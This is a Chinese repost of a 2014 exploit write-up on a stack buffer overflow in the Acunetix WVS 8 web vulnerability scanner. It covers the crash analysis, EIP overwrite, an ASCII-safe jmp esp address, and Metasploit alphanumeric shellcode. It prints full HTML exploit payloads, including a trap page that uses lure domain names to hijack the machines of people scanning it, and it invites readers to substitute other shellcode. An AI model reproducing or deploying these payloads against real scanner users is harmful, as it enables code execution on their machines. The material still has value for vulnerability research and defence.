漏掃工具AWVS命令執行

wyzsk發表於2020-08-19
作者: livers · 2014/04/26 13:06

From: http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html

0x00 概述


幾個星期前,作者曾發表了關於WINRAR 0DAY(檔名欺騙)的文章。得到了大量人的關注和詢問,所以這次又放出一個0day (最熱門的漏掃工具 wvs)。作者POC測試版本為: ACUNETIX 8 (build 20120704) 貌似是老外用的非常多版本。作者意圖想讓攻擊者在使用wvs 按下掃描鍵前三思而後行(這個才是真正的主動防護吧:)。

0x01 漏洞分析


ACUNETIX 是一款強大的漏掃工具,很多新手喜歡用這個工具進行掃描。

在掃描初始化階段,會有這樣一個附加選項,如下圖

enter image description here

這一點讓作者產生了興趣,透過分析得出wvs 在解析http response時,提取一些資源請求 類似:

#!html
<img src=http://externalSource.com/someimg.png >
<a href=http://externalSource.com/ ></a>
Etc...

作者又進一步分析了這個過程,驚奇的發現當某個外部域名長度超過268位元組,wvs就會crash,作者開始嘗試構造>=268位元組長度的域名: 首先測試 如下

<A href= "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> 

用Immunity Debugger(OD是這工具的母板)附加掛載到wvs訪問網站: Edx被0x41(A)覆蓋 ,然後取資料段記憶體越權訪問崩潰了:

enter image description here

作者本打算利用SHE溢位執行shellcode但是比較麻煩。

這裡有個難點:

因為是url字串所以避免url的編碼類似

0x22 ("), 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (), 0x2F (/)

所以,這裡的shellcode不僅要是ascii,還要去除被URL編碼的字元,也因為如此很難繞過SHE保護。

作者提出的思路,利用前面可控制的EDX構造一個可讀的地址,同時要注意構造的edx地址要加8H

#!bash
MOVE ECX, DWORD PTR DS: [EDX-8];

Edx必須滿足下列兩個條件:

1.[edx]可讀
2.是ASCII符合並且沒有被URL轉義的符號

最終利用了0x663030XX 對應ascii值 f005。

前面精確測試出URL在268位元組時溢位(不包括http://),溢位點就是269這裡(500f開始)。

<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB">

用wvs掃描

enter image description here

Ret之後,看到eip 被覆蓋BBBB 0x42424242。

這裡就選擇shellcode 存放位置 ,eax是call函式時的引數,就只有268位元組的A,esp當前棧頂指標指向著後面的B 明顯選擇esp(因為夠大 ascii編碼268位元組的shellcode很緊張的) 能控制到eip,也找好了shellcode存放空間。

再者就是找jmp esp 以前都是用公開的通用地址,這裡需要ascii字元且不被url編碼的,作者用的系統sxs.dll 的0x7e79515d,ascii編碼]Qy~ 組合起來整個poc就是

<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>

最後,用metasploit的Alphanumeric Shell模組生成了一個純ascii且沒有被url編碼的彈calc.exe的shellcode ,你也可以試試用mst生成其他的shellcode玩玩,選取的地址[edx]和wvs(沒有開啟dep的編譯選項),所以繞過dep防護。

<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA">

0x02 利用


作者這裡搞的非常好玩,因為這個點必須要用wvs人選擇下面這個才會有效。

enter image description here

So,作者很猥瑣構造了一些很誘惑的外部域名

“SQLINJECTION” 
“XSS” 
“CSRF” 
And so on…





<html>
<img src="http://SQLInjection..............................................................................................................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>
<img src="http://XSS..............................................................................................................................................................................................">
<img src="http://CSRF..............................................................................................................................................................................................">
<img src="http://DeepScan..............................................................................................................................................................................................">
<img src="http://NetworkScan..............................................................................................................................................................................................">
<img src="http://DenialOfService..............................................................................................................................................................................................">
</html>

如下圖:

enter image description here

0x03 總結


我測試Wvs8.0 build 20120704 版本是可以成功彈出calc的。

後面評論有人說wvs8.0更新的版本也存在這個問題,我這裡測試下列版本:

Wvs8.0 20130416版本 Wvs9 各個版本

都不存在此問題。

enter image description here

作者給出的 exp下載

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章